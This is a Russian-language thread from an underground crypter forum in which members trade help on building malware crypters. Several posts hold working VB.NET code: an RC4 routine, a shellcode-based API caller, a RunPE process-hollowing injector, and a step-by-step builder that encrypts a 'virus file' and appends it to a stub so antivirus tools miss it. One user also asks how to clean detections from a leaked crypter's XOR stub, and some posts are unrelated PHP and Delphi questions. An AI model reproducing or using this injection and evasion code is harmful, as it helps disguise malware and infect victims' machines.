FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Source Раздел для исходников крипторов, джоинеров и различного софта

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Старый 29-09-2010   #1
darkest

Windows Seven

Последняя активность:
28-10-2013
Регистрация: 12.05.2010
Сообщений: 1,208
Поблагодарили всего: 74
за это сообщение: 0
ICQ 7778808
По умолчанию Помощь / Help

Все вопросы по source задавать здесь


__________________

Последний раз редактировалось KpuMuHaJl; 26-11-2011 в 12:28.
darkest вне форума  
Старый 15-03-2011   #2
VicK

Windows v.1.01

Последняя активность:
18-03-2011
Регистрация: 15.03.2011
Сообщений: 2
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Здравствуйте, я хочу написать криптор, никогда этим не занимался. Нашёл исходники, начал их изучать и понял, что не понял больше половины. Я понимаю, что делают отдельные разрозненные куски кода, но не понимаю зачем и что получается "на выходе". Запустить исходник в отладочном режиме не получается, т.к. имеют место быть и активно используются некие необъявленные, чей смысл мне также неясен.
Вот пример такого куска кода, может кто-нибудь просто и доходчиво (как для дурака ) объяснить, что же он делает?
Код:
      Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
              On Error Resume Next
              Dim RB(255) As Short
              Dim Y, X, Z As Integer
              Dim Key() As Byte
              Dim ByteArray() As Byte
              Dim Temp As Byte
              If Len(Password) = 0 Then
                    Exit Function
              End If
              If Len(Expression) = 0 Then
                    Exit Function
              End If
              If Len(Password) > 256 Then
                    Key = System.Text.UnicodeEncoding.Unicode.GetBytes(StrConv(Left(Password, 256), vbFromUnicode))
              Else
                    Key = System.Text.UnicodeEncoding.Unicode.GetBytes(StrConv(Password, vbFromUnicode))
              End If
              For X = 0 To 255
                    RB(X) = X
              Next X
              X = 0
              Y = 0
              Z = 0
              For X = 0 To 255
                    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
                    Temp = RB(X)
                    RB(X) = RB(Y)
                    RB(Y) = Temp
              Next X
              X = 0
              Y = 0
              Z = 0
              ByteArray = System.Text.UnicodeEncoding.Unicode.GetBytes(StrConv(Expression, vbFromUnicode))
              For X = 0 To Len(Expression)
                    Y = (Y + 1) Mod 256
                    Z = (Z + RB(Y)) Mod 256
                    Temp = RB(Y)
                    RB(Y) = RB(Z)
                    RB(Z) = Temp
                    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
              Next X
              RC4 = StrConv(System.Text.UnicodeEncoding.Unicode.GetString(ByteArray), vbUnicode)
        End Function
VicK вне форума  
Старый 15-03-2011   #3
Apocalypse

Windows Vista
 
Аватар для Apocalypse

Последняя активность:
02-04-2014
Регистрация: 10.01.2011
Сообщений: 462
Поблагодарили всего: 215
за это сообщение: 0
По умолчанию

Шифрует строку по алгоритму RC4
__________________
Хоп-хоп-хоп
Apocalypse вне форума  
Старый 15-03-2011   #4
VicK

Windows v.1.01

Последняя активность:
18-03-2011
Регистрация: 15.03.2011
Сообщений: 2
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Благодарю А эти?
Код:
Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray ByVal Params() As Object) As Integer
        Dim lPtr As Integer
        Dim bvASM(&HEC00 - 1) As Byte
        Dim i As Integer
        Dim lMod As Integer
        
        lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
        If lMod = 0 Then Exit Function
        lPtr = VarPtr(bvASM(0))
        RtlMoveMemory(lPtr, &H59595958, &H4) : lPtr = lPtr + 4
        RtlMoveMemory(lPtr, &H5059, &H2) : lPtr = lPtr + 2
        For i = UBound(Params) To 0 Step -1
            RtlMoveMemory(lPtr, &H68, &H1) : lPtr = lPtr + 1
            RtlMoveMemory(lPtr, CInt(Params(i)), &H4) : lPtr = lPtr + 4
        Next 
        RtlMoveMemory(lPtr, &HE8, &H1) : lPtr = lPtr + 1
        RtlMoveMemory(lPtr, lMod - lPtr - 4, &H4) : lPtr = lPtr + 4
        RtlMoveMemory(lPtr, &HC3, &H1) : lPtr = lPtr + 1
        CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    End Function
Код:
    Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, ByRef parameter As String)
        Dim i As Integer
        Dim Pidh As IMAGE_DOS_HEADER
        Dim Pinh As IMAGE_NT_HEADERS
        Dim Pish As IMAGE_SECTION_HEADER
        Dim Si As STARTUPINFO
        Dim Pi As PROCESS_INFORMATION
        Dim Ctx As CONTEXT
        
        Si.cb = Len(Si)
        
        RtlMoveMemory(Pidh, bvBuff(0), 64)
        RtlMoveMemory(Pinh, bvBuff(Pidh.e_lfanew), 248)
        
        CreateProcessA(sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi)
        CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase)
        CallAPI("kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        WriteProcessMemory(Pi.hProcess, Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0)
        
        For i = 0 To Pinh.FileHeader.NumberOfSections - 1
            RtlMoveMemory(Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish))
            WriteProcessMemory(Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0)
        Next i
        
        Ctx.ContextFlags = CONTEXT_FULL
        CallAPI("kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx))
        WriteProcessMemory(Pi.hProcess, Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0)
        Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
        CallAPI("kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx))
        CallAPI("kernel32", "ResumeThread", Pi.hThread)
    End Sub
VicK вне форума  
Старый 16-03-2011   #5
hz_kto_ya

Windows v.3.0
 
Аватар для hz_kto_ya

Последняя активность:
28-06-2012
Регистрация: 16.11.2010
Сообщений: 43
Поблагодарили всего: 10
за это сообщение: 0
По умолчанию

Vick почитай матчасть что ли. Все же черным по белому написано:
Function CallAPI - функция для вызова api-шек из определенной либы с определенными параметрами.
Injec(*Inject) - собственно инжект кода в определенный процесс.

Если ты задаешь такие вопросы, то тебе еще рановато за криптор браться. Обуздай книжечку по VB, почитай статьи по написанию на VB, поучи хоть немного английский и все будет норма.
hz_kto_ya вне форума  
Старый 09-05-2011   #6
Security2431

Windows v.1.01

Последняя активность:
09-05-2011
Регистрация: 09.05.2011
Сообщений: 7
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Подскажите на руби вирус можна написать?
Security2431 вне форума  
Старый 09-05-2011   #7
by_dmr

Windows XP
 
Аватар для by_dmr

Последняя активность:
30-05-2014
Регистрация: 04.12.2010
Сообщений: 314
Поблагодарили всего: 6
за это сообщение: 0
ICQ 169103
По умолчанию

Security2431, Ну ты извращенец, наврятли у тебя чтото получиться, возьми курс в сторону питона, делфи, приплюснотого...
__________________

[Ссылки могут видеть только зарегистрированные пользователи.]
by_dmr вне форума  
Старый 26-09-2011   #8
Dave

Гарант форума
 
Аватар для Dave

Последняя активность:
2 дн. назад
Регистрация: 01.01.1970
Сообщений: 1,061
Поблагодарили всего: 79
за это сообщение: 0
ICQ 608935
По умолчанию

Нужна помощь!

Программа. Запускаешь ее из под юзера, на машине без админских прав. Заведомо известен пароль и логин админа. Она считывает из своих параметров этот логин и пасс. И делает запуск редактора реестра от имени этого администратора.Точнее ищет в реестре определенный ключик и удаляет его. Все. Автоматом завершаем.
Dave вне форума  
Старый 26-09-2011   #9
herm1t

Windows v.1.01

Последняя активность:
27-03-2014
Регистрация: 21.09.2011
Сообщений: 3
Поблагодарили всего: 1
за это сообщение: 0
ICQ 372141
По умолчанию

Цитата:
Сообщение от Dave Посмотреть сообщение
Нужна помощь!

Программа. Запускаешь ее из под юзера, на машине без админских прав. Заведомо известен пароль и логин админа. Она считывает из своих параметров этот логин и пасс. И делает запуск редактора реестра от имени этого администратора.Точнее ищет в реестре определенный ключик и удаляет его. Все. Автоматом завершаем.
[Ссылки могут видеть только зарегистрированные пользователи.]
__________________
[Ссылки могут видеть только зарегистрированные пользователи.] / [Ссылки могут видеть только зарегистрированные пользователи.]
herm1t вне форума  
Старый 26-09-2011   #10
Dave

Гарант форума
 
Аватар для Dave

Последняя активность:
2 дн. назад
Регистрация: 01.01.1970
Сообщений: 1,061
Поблагодарили всего: 79
за это сообщение: 0
ICQ 608935
По умолчанию

herm1t, ничего не понятно ((( Хуево, когда не помнишь, да еще и не знаешь....
Dave вне форума  
Старый 26-09-2011   #11
vazonez

место для илитной подписи
 
Аватар для vazonez

Последняя активность:
07-12-2013
Регистрация: 23.08.2009
Сообщений: 377
Поблагодарили всего: 126
за это сообщение: 0
ICQ 331468
По умолчанию

А я тебе чо писал то! Хуйли непонятного? Вставляй и канпелируй.
vazonez вне форума  
Старый 26-09-2011   #12
Dave

Гарант форума
 
Аватар для Dave

Последняя активность:
2 дн. назад
Регистрация: 01.01.1970
Сообщений: 1,061
Поблагодарили всего: 79
за это сообщение: 0
ICQ 608935
По умолчанию

Цитата:
Сообщение от vazonez Посмотреть сообщение
А я тебе чо писал то!
Тупой я в кодинге.
Dave вне форума  
Старый 26-09-2011   #13
Dave

Гарант форума
 
Аватар для Dave

Последняя активность:
2 дн. назад
Регистрация: 01.01.1970
Сообщений: 1,061
Поблагодарили всего: 79
за это сообщение: 0
ICQ 608935
По умолчанию

В общем нужно типа такого:

Форма. На ней 2 баттона.
На первый нажимаешь ---> удаляет запись в реестре. В разделе HKLM.
На второй ---> запускает от имени админа удаленный рабочий стол и подключается к адресу: 192.138.3.102. Закрывает подключение после удачного подключения.

Компьютер в домене. Логин и пасс админа известен.
Dave вне форума  
Старый 26-09-2011   #14
POCT

Администратор
 
Аватар для POCT

Последняя активность:
5 минут(ы) назад
Регистрация: 16.02.2011
Сообщений: 1,733
Поблагодарили всего: 1,425
за это сообщение: 0
По умолчанию

хз, может я тебя не правильно понял, но посмотри:

[Ссылки могут видеть только зарегистрированные пользователи.]

[Ссылки могут видеть только зарегистрированные пользователи.]

это сама тема:
[Ссылки могут видеть только зарегистрированные пользователи.]
__________________
"Водка взяла верх над ним." © gerry

Мануал на тему: "Как получить пароль к криптору?" Обязательно к прочтению всем новичкам.

Программы и сервисы, помогающие получить пароль к крипторам.

Если кто-то решил пофлудить, предлагаю сначала ознакомиться с нашим банлистом. /banlist.php

Халявный сканер файлов на детект (35 антивирусов).
Крипторы
Онлайн проверка на вирусы бесплатно. http://scanner.fuckav.ru/
Для гугла: http://twitter.com/fuckav_ru

Флуд, набивание постов, слив на вирустотал - бан.

Последний раз редактировалось POCT; 26-09-2011 в 15:31.
POCT на форуме  
Старый 27-09-2011   #15
Deymos

Администратор
 
Аватар для Deymos

Последняя активность:
5 дн. назад
Регистрация: 06.08.2009
Сообщений: 2,048
Поблагодарили всего: 180
за это сообщение: 0
По умолчанию

НароД, подскажите по php.
В общем нужно организовать алгоритм.

Есть Три поля, в них вопросы. После того как пользователь ответил на них у него появляется ответ.

Объясняю на примере.

Что вы пьете: Пиво, Водка, Коньяк
Чем закусываете: Огурцы, сосиска, хлеб
Куда хотите отправиться: США, Канада, Россия

Если пользователь выбрал: Пиво, Огурцы, Россия, ему выдается сообщение : "Хорошо".
Если пользователь выбрал:Водка, хлеб, Сша, ему выдается плохо. Ну и т.п. различные комбинации. Скажите как реализовать на php
__________________


Вы не те, за кого себя принимаете... (с) Deymos
[Ссылки могут видеть только зарегистрированные пользователи.]

Хочешь помочь развитию форума? (тыц)

[Ссылки могут видеть только зарегистрированные пользователи.] - блог от создателя Fuckav.ru


Модератор неправ? Срочно читай это!|История форума | Есть предложение?
Deymos вне форума  
Старый 27-09-2011   #16
by_dmr

Windows XP
 
Аватар для by_dmr

Последняя активность:
30-05-2014
Регистрация: 04.12.2010
Сообщений: 314
Поблагодарили всего: 6
за это сообщение: 0
ICQ 169103
По умолчанию

Deymos,
Код:

<?php

if (empty($_POST['q1']) or empty($_POST['q2']) or empty($_POST['q3']))
{
echo "
<html>
<title>Ответьте на вопросы</title>
<body>
<form method=POST>
<br><b>Что вы пьете:</b>
<input type=radio name=q1 value='pivo' checked> Пиво
<input type=radio name=q1 value='vodka'> Водка
<input type=radio name=q1 value='konyak'> Коньяк
<br><b>Чем закусываете:</b>
<input type=radio name=q2 value='ogyrec' checked> Огурцы
<input type=radio name=q2 value='sosiska'> сосиска
<input type=radio name=q2 value='hleb'> хлеб
<br><b>Куда хотите отправиться:</b>
<input type=radio name=q3 value='us' checked> США
<input type=radio name=q3 value='ca'> Канада
<input type=radio name=q3 value='ru'> Россия
<br><input type=submit value='send'>
</form>
</body>
</html>
";}
else 
{
if ($_POST['q1'] ="pivo" and $_POST['q2']="ogyrec"  and $_POST['q3']="ru") {echo "Хорошо";}
else {echo "Плохо";}
}

?>
Не Тестил!
__________________

[Ссылки могут видеть только зарегистрированные пользователи.]

Последний раз редактировалось by_dmr; 27-09-2011 в 15:48.
by_dmr вне форума  
Старый 27-09-2011   #17
Deymos

Администратор
 
Аватар для Deymos

Последняя активность:
5 дн. назад
Регистрация: 06.08.2009
Сообщений: 2,048
Поблагодарили всего: 180
за это сообщение: 0
По умолчанию

by_dmr,только у тебя немного не работает ))) у тебя все хорошо, плохо вообще не бывает
__________________


Вы не те, за кого себя принимаете... (с) Deymos
[Ссылки могут видеть только зарегистрированные пользователи.]

Хочешь помочь развитию форума? (тыц)

[Ссылки могут видеть только зарегистрированные пользователи.] - блог от создателя Fuckav.ru


Модератор неправ? Срочно читай это!|История форума | Есть предложение?
Deymos вне форума  
Старый 29-09-2011   #18
Morgot

Windows 95
 
Аватар для Morgot

Последняя активность:
22-03-2014
Регистрация: 15.03.2011
Сообщений: 107
Поблагодарили всего: 22
за это сообщение: 0
По умолчанию

Deymos, такой вопрос, а обязательно на пхп? Просто это можно реализовать и на яваскрипт, будет также работать в браузере, и не надо обращения к серверу.

Цитата:
by_dmr,только у тебя немного не работает ))) у тебя все хорошо, плохо вообще не бывает
там есть маленькая ошибка, стандартная для сишных языков.
В строке
if ($_POST['q1'] ="pivo" and $_POST['q2']="ogyrec" and $_POST['q3']="ru")

Замените все "=" на "==". Ибо в Си "=" - значит присваивание, а проверка - "==".

Последний раз редактировалось Morgot; 29-09-2011 в 12:22.
Morgot вне форума  
Старый 30-09-2011   #19
Deymos

Администратор
 
Аватар для Deymos

Последняя активность:
5 дн. назад
Регистрация: 06.08.2009
Сообщений: 2,048
Поблагодарили всего: 180
за это сообщение: 0
По умолчанию

Morgot,спасибо, можно хоть на чем. Задание у меня на работе сделать такую фигню, а я не компитентен
__________________


Вы не те, за кого себя принимаете... (с) Deymos
[Ссылки могут видеть только зарегистрированные пользователи.]

Хочешь помочь развитию форума? (тыц)

[Ссылки могут видеть только зарегистрированные пользователи.] - блог от создателя Fuckav.ru


Модератор неправ? Срочно читай это!|История форума | Есть предложение?
Deymos вне форума  
Старый 27-09-2011   #20
POCT

Администратор
 
Аватар для POCT

Последняя активность:
5 минут(ы) назад
Регистрация: 16.02.2011
Сообщений: 1,733
Поблагодарили всего: 1,425
за это сообщение: 0
По умолчанию

Это почитай:

[Ссылки могут видеть только зарегистрированные пользователи.]

[Ссылки могут видеть только зарегистрированные пользователи.]

Остается только собрать воедино.
__________________
"Водка взяла верх над ним." © gerry

Мануал на тему: "Как получить пароль к криптору?" Обязательно к прочтению всем новичкам.

Программы и сервисы, помогающие получить пароль к крипторам.

Если кто-то решил пофлудить, предлагаю сначала ознакомиться с нашим банлистом. /banlist.php

Халявный сканер файлов на детект (35 антивирусов).
Крипторы
Онлайн проверка на вирусы бесплатно. http://scanner.fuckav.ru/
Для гугла: http://twitter.com/fuckav_ru

Флуд, набивание постов, слив на вирустотал - бан.
POCT на форуме  
Старый 27-09-2011   #21
Deymos

Администратор
 
Аватар для Deymos

Последняя активность:
5 дн. назад
Регистрация: 06.08.2009
Сообщений: 2,048
Поблагодарили всего: 180
за это сообщение: 0
По умолчанию

by_dmr,ты ваще красавчик, все правильно, щас уже поздно, завтра буду разбираться...
POCT,почитаю, спс, а то гуглил - не знал как это правильно ввести
__________________


Вы не те, за кого себя принимаете... (с) Deymos
[Ссылки могут видеть только зарегистрированные пользователи.]

Хочешь помочь развитию форума? (тыц)

[Ссылки могут видеть только зарегистрированные пользователи.] - блог от создателя Fuckav.ru


Модератор неправ? Срочно читай это!|История форума | Есть предложение?
Deymos вне форума  
Старый 27-09-2011   #22
leh12

Windows v.2.03

Последняя активность:
4 дн. назад
Регистрация: 10.02.2010
Сообщений: 26
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Судя по 1 посту тут требуется помощь вкрипторе..Судя по коду там у тя шифрование в RC4 .-Функция написанная на ВБ-6
1 Если ты изучаешь этот язык то возможно она тебе пригодится.
2 Тагже есть куча методов шифрования (Блоуфиш или исор и тд ) но РЦ4 более Лоялен к приложениям которые ты будешь криптовать.
3 Я покажу основу на VB>NET
Делаем форму .Далее 1 текстбокс и 2 Буттон ( кнопки)
Далее кликаем по форме 2 раза и видим следующие
Public Class Form1
Выше етой строки прописываем
Imports System.Text' это импортируем необходимые нам для работы свойства
Жалее следующее...
Public Class Form1
Const filesplit = "@жопановыйгод@" ' это константа она же ключ для шифра и дешифра
Кликаем по 1 кнопки (обзываем ее ОБЗОР)- 2 раза
With OpenFileDialog1
.FileName = ""
.Filter = "Exelcutable(*.exe)|*.exe*"
.ShowDialog()
TextBox1.Text = .FileName
End With
Кликаем по 2 кнопке ( тагже как и по первой
Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Defkt;bn' здесь открываем ВирусФайл в Бинарном Коде
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)' здесь открываем файл СТАБ который рядом лежит
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "жопановыйгод"))
FileClose(1)

MsgBox("СДЕЛАНО!")
Me.Close()
Вот впринципе и все ..Осталось забить код шифрования в коком мы хотим
Вот и он
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
Все С этим разобрались ....Да я не писал здесь (Когда 2 раза кликните по кнопке У тебя автоматом появится код деклорации Типо)
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Сюда пихаем мой код и заканчиваться должно строкой ниже
End Sub
----------------
Теперь нужно сделать СТАБ..- это отдельный проект Создаем
Если будет интересно опишу в следущий раз.
Все написано на VB.net студии 2010
Скачать ее можно с инета Официально или как ..захочишь..
Видос (Примерно можно почерпнуть как сделать форму) [Ссылки могут видеть только зарегистрированные пользователи.]

Последний раз редактировалось leh12; 27-09-2011 в 17:27. Причина: добава
leh12 вне форума  
Старый 30-09-2011   #23
by_dmr

Windows XP
 
Аватар для by_dmr

Последняя активность:
30-05-2014
Регистрация: 04.12.2010
Сообщений: 314
Поблагодарили всего: 6
за это сообщение: 0
ICQ 169103
По умолчанию

Сорри, я просто когдато давно выучил php, причем знал его довольно хорошо,
И в процессе развития начал я учить Delphi, и позабыл синтаксис ПыхПыха
__________________

[Ссылки могут видеть только зарегистрированные пользователи.]
by_dmr вне форума  
Старый 03-10-2011   #24
dokzlo13

Самый злой человек форума
 
Аватар для dokzlo13

Последняя активность:
1 неделю назад
Регистрация: 08.02.2010
Сообщений: 521
Поблагодарили всего: 129
за это сообщение: 0
ICQ 630289381
По умолчанию

Привет, нужно реализовать такую штуку.


Когда мы запускаем программу, она должна проверить наличие строки, предположим "12345", в определенном текстовом файле, и если эта строка отсутствует, записать ее, если эта строка уже существует то ничего не нужно.

не знаю как еще обьяснить


Delphi?
__________________

Последний раз редактировалось dokzlo13; 03-10-2011 в 20:23.
dokzlo13 вне форума  
Старый 03-10-2011   #25
by_dmr

Windows XP
 
Аватар для by_dmr

Последняя активность:
30-05-2014
Регистрация: 04.12.2010
Сообщений: 314
Поблагодарили всего: 6
за это сообщение: 0
ICQ 169103
По умолчанию

Цитата:
Сообщение от dokzlo13 Посмотреть сообщение
нем мы записали определенные строки, необходимо проверить их наличие, и если и
Док, запиши ТЗ чуть пограмотней
__________________

[Ссылки могут видеть только зарегистрированные пользователи.]
by_dmr вне форума  
Старый 03-10-2011   #26
dokzlo13

Самый злой человек форума
 
Аватар для dokzlo13

Последняя активность:
1 неделю назад
Регистрация: 08.02.2010
Сообщений: 521
Поблагодарили всего: 129
за это сообщение: 0
ICQ 630289381
По умолчанию

by_dmr, пофиксил
__________________
dokzlo13 вне форума  
Старый 09-10-2011   #27
WestSide

Windows XP

Последняя активность:
22-04-2014
Регистрация: 19.11.2010
Сообщений: 270
Поблагодарили всего: 7
за это сообщение: 0
По умолчанию

Цитата:
Сообщение от dokzlo13 Посмотреть сообщение
Когда мы запускаем программу, она должна проверить наличие строки, предположим "12345", в определенном текстовом файле, и если эта строка отсутствует, записать ее, если эта строка уже существует то ничего не нужно.
Один хер ничего не понятно. Что представляет из себя файл? Что в нем? Много строк? Одна?

Можно как то так

Код:
// быдло функция написанная на скорость
function CheckText(text:String):Boolean;
var 
  i: Integer;
begin
for i:=0 to Memo1.Count-1 do
begin
If Memo1.Lines[i]=text
then
begin
Result:=True;
break;
end
else
begin
Result:=False;
end;
end;
end;

Memo1.LoadFromFile('File.txt');
If CheckText('текст')=False
then
begin
Memo1.Lines.Add('текст');
Memo1.SaveToFile('File.txt');
end;
Поидее должно работать, но я не тестил. )

Последний раз редактировалось WestSide; 09-10-2011 в 13:15.
WestSide вне форума  
Старый 15-12-2011   #28
Apathy

Windows v.3.0
 
Аватар для Apathy

Последняя активность:
22-10-2012
Регистрация: 10.12.2011
Сообщений: 41
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

в разделе сурсы 95% дельфи, есить ли люди кодящие на c++???
и могут ли они тоже выкладывать сурсы:?
__________________
icq:600-800-625

Повторный вызов
И доступ разрешен.
Ты близок к цели,
Но план не завершен...
Сигнал отслежен.
Тебя уже нашли,
И стон сирены
Послышался вдали.

Года работы
Стираешь в один миг,
И не смущает
Петель надрывный крик.
И выстрел в спину...
Нет силы жизнь терпеть...
Все твои мысли
На век уносит в сеть...
Apathy вне форума  
Старый 26-02-2012   #29
O'NeiLL

Windows v.1.01

Последняя активность:
04-06-2013
Регистрация: 25.09.2011
Сообщений: 5
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Нашёл в сети Vegan-Crypter и решил почистить его. Стаба у него как отдельного файла нет, зато в биндере есть вот такая строчка:

Код:
stub := 'B9SSSSSSSS3680310E4181F9LLLLLLLL75F3E9JJJJJJJJ';
в асме это выглядит так:

Код:
00401945 >  B9 XXXXXXXX     MOV ECX,XXXXXXXX
     0040194B    36:8031 0E      XOR BYTE PTR SS:[ECX],0E
     0040194F    41              INC ECX
     00401950    81F9 XXXXXXXX   CMP ECX,XXXXXXXX
     00401956  ^ 75 F3           JNZ SHORT 0040194B
     00401958  ^ E9 XXXXXXXX     JMP XXXXXXXX
по коду видно что задаётся массив и к каждому его элементу применяется XOR, но вот почистить такое чудо я не знаю, какие идеи есть?
O'NeiLL вне форума  
Старый 22-05-2014   #30
1nf3c7ed

Windows v.1.01

Последняя активность:
4 недель(и) назад
Регистрация: 22.05.2014
Сообщений: 1
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию Re: Помощь / Help

У кого есть простой сорс криптора с лоадером? поделитесь
1nf3c7ed вне форума  
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
begin, byte, bytearray, expression, function, getbytes, xxxxxxxx, есть, помощь, почистить, сурсы


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Часовой пояс GMT +3, время: 13:21.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров